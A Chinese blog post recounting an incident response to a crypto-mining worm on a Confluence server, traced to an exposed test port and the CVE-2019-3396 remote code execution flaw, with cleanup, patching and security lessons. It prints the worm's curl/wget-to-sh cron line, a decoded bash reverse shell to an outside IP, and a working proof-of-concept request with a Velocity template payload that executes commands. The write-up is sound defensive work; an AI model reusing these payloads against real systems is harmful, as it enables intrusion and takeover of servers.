一次有趣的挖矿病毒事件
4月10号有一个节点中了挖矿病毒, 经历比较有意思, 写出来分享一下.
起由
愉快的下午, 正开心的听着歌, 撸着码, 突然收到一封告警.
confluence服务器CPU告警, 这个节点只放了一个confluence服务, 基本不会有什么负载, 十分可疑, 上服务器, top看一眼 
和平时一样毫无波澜.. 怎么回事呢?
观察了一会正蒙圈的时候, 又收到一个告警
人立马就精神了, 结合这个信息基本确定是中了挖矿病毒没跑了, 而且渗透后会继续扫描redis未授权漏洞自动扩散.
但是问题来了.
- 这个节点是内服服务, 有白名限制, 离开办公区只有内部才能登陆. 是内部员工做的？还是办公网已经被攻破？
- 这个节点根本没有redis.. 怎么渗透进服务器的呢？
排查
找不到正确的系统进程, 翻看crontab的时候发现了可疑信息
*/15 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|shpastebin只是一个分享文本的网站, 这里只是用来被存放恶意脚本内容了, 跟着链接跳转两次看到真实脚本内容
跟着找运行后被删掉的进程文件
但是找到了暂时没啥好办法, 毕竟手动kill不完.. crontab内容清除后也会不停出现.
这个节点是独立的分组, 先紧急在安全组上把出方向流量封掉.
随后尝试根据 kerberods + redis未授权漏洞 + 挖矿关键字搜索下.
看到一篇默安科技在安全客上的文章: https://www.anquanke.com/post/id/172111
文中解答了我一个疑惑:
病毒是通过hook libc.so中的函数的方式将与病毒相关的信息进行了隐藏.
也就是说我现在系统工具根本就看不到正确的病毒进程相关信息, 好在文中提到默安已经开源了清理工具 https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
主要通过不依赖系统库的busybox来进行清理.
使用上述默安提供的工具直接clean.sh, 内容大概是清理了hook的so, 病毒关键字的进程, 一些定时任务等.
再看下系统进程
我中的属于3月1号后的变种, 这里清理掉了系统hook lib让我能看到真实病毒进程.
运行专门清理变种的clear_kthrotlds.sh, 可疑进程消失, 负载也暂时降下来了.
貌似解决了？ 并没有... 因为最开始提出的2个问题并没有解决
果不其然过了几分钟后, 历史重现, 进程重新出现.
- 解决第一个问题, 寻找这个节点所有可能对外的暴露.
这个节点在vpc内, 没有EIP和DNAT, 仅仅通过SLB对外暴露一个confluence的http端口.
检索下相关slb, 果然有惊喜..
confluence-test !!! confluence当时迁移并未容器化, 应该是当时经典迁移vpc被漏出去的一个端口, 没有ip白名单限制.... 罪魁祸首找到了
- 那么是怎么从confluence进来的？
吃完晚饭, 回来继续看这个问题. 发现惊喜.
看起来像是shell反弹...
$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC80NS43Ni4x0TEuWTExLzIwWTIgMD4mMQ== | base64 -d
bash -i >& /dev/tcp/45.76.11.Y11/20Y2 0>&1看来就是了...
难道confluence出了RCE漏洞？ 搜索下...
详细分析参考: https://paper.seebug.org/884/
简单写个验证脚本
import requests
if __name__ == '__main__':
url = "http://confluence.xxx.com"
result = {}
paylaod = url + "/rest/tinymce/1/macro/preview"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
"Referer": url + "/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a -487b-b1e1-8f673f280c23&",
"Content-Type": "application/json; charset=utf-8"
}
data = '{"contentId":"786457","macro":{"name":"widget","body":"","params":{ "url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"https://pastebin.com/raw/m0b6in8k"}}}'
r = requests.post(paylaod, data=data, headers=headers)
print(r.text)这里省事就把shell内容放到pastebin了,其中对应https://pastebin.com/raw/m0b6in8k的内容, 主要就是执行ifconfig:
#set ($exp="test")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ifconfig"))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end不得不说pastebin真挺好用的...
验证成功执行, 返回了执行结果
修复
官方建议是升级至更高版本, 不过我这里由于某些原因...就不升级了
主要是widgetconnector-xxx.jar 3.1.4之前版本会出现这个问题, 从官方下载 https://packages.atlassian.com/maven-public/com/atlassian/confluence/extra/widgetconnector/widgetconnector/3.1.4/widgetconnector-3.1.4.jar
替换掉已有的相关包即可, 或者关闭掉相关功能.
修复后验证:
后话
准备对公司所有业务边界,后续对办公网边界进行完整记录入库和定期扫描.
长久以来, 公司并没专门的安全人员, 所以采取的方式是对外的买高防waf等安全产品挡在前面, 其他的则尽可能最小暴露,和各种ip白名单限制. 各种安全漏洞都是被动的看到后修复, 并没怎么主动去获取安全资讯. 可是这次confluence漏洞的利用, 黑产组织短短时间就利用上了.
千里之堤毁于蚁穴, 何况我们还并没有千里之堤, 回头看这次事件,其实就是一个平时看起来完全不起眼的入口产生的, 再仔细想想
- 如果这次不是挖矿病毒, 是勒索病毒呢?
- 如果这不是一个隔离组的实例, 下次给你来个tomcat,nginx更通用的在你生产组集群扩散起来你怕不怕?
- 如果下次隐藏得更好, 甚至不触发告警, 一直蛰伏, 想想是不是一身冷汗?
安全的维度其实很多, 一路在业务和效能上狂奔的我们偶尔也该缓一缓脚步更多的关注下了.
个人感觉, 安全人员不足的时候, 可以考虑主动最好几点:
- 尽可能减少服务暴露面, 经典环境的时候,服务器连ping都是禁掉的.
- IP白名单尽量都加上, 毕竟相比全世界,IP白名单的攻击源要少很多
- 内网服务也尽可能的分组隔离, 避免不必要的开放, 防止被被攻破后扩散
- 发现有感染源, 第一时间隔离, 允许的话下线直接快照恢复, 毕竟非专业人员很难清理完全, 有条件可以用第三方安全厂商进行相关扫描.
- 定期安全扫描, 有条件的话考虑招募专人组建SRC,主动获取一手资讯提前发现和响应安全问题
参考
漏洞官方页面: https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
安全客 郑斯碟@默安科技应急响应中心 挖矿病毒分析: https://www.anquanke.com/post/id/172111
知道创宇404 Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析: https://paper.seebug.org/884/
默安紧急修复脚本: https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool
绿盟科技详尽修复方案: http://copyfuture.com/blogs-details/3a44938fcd7518cdda0f1390099382cd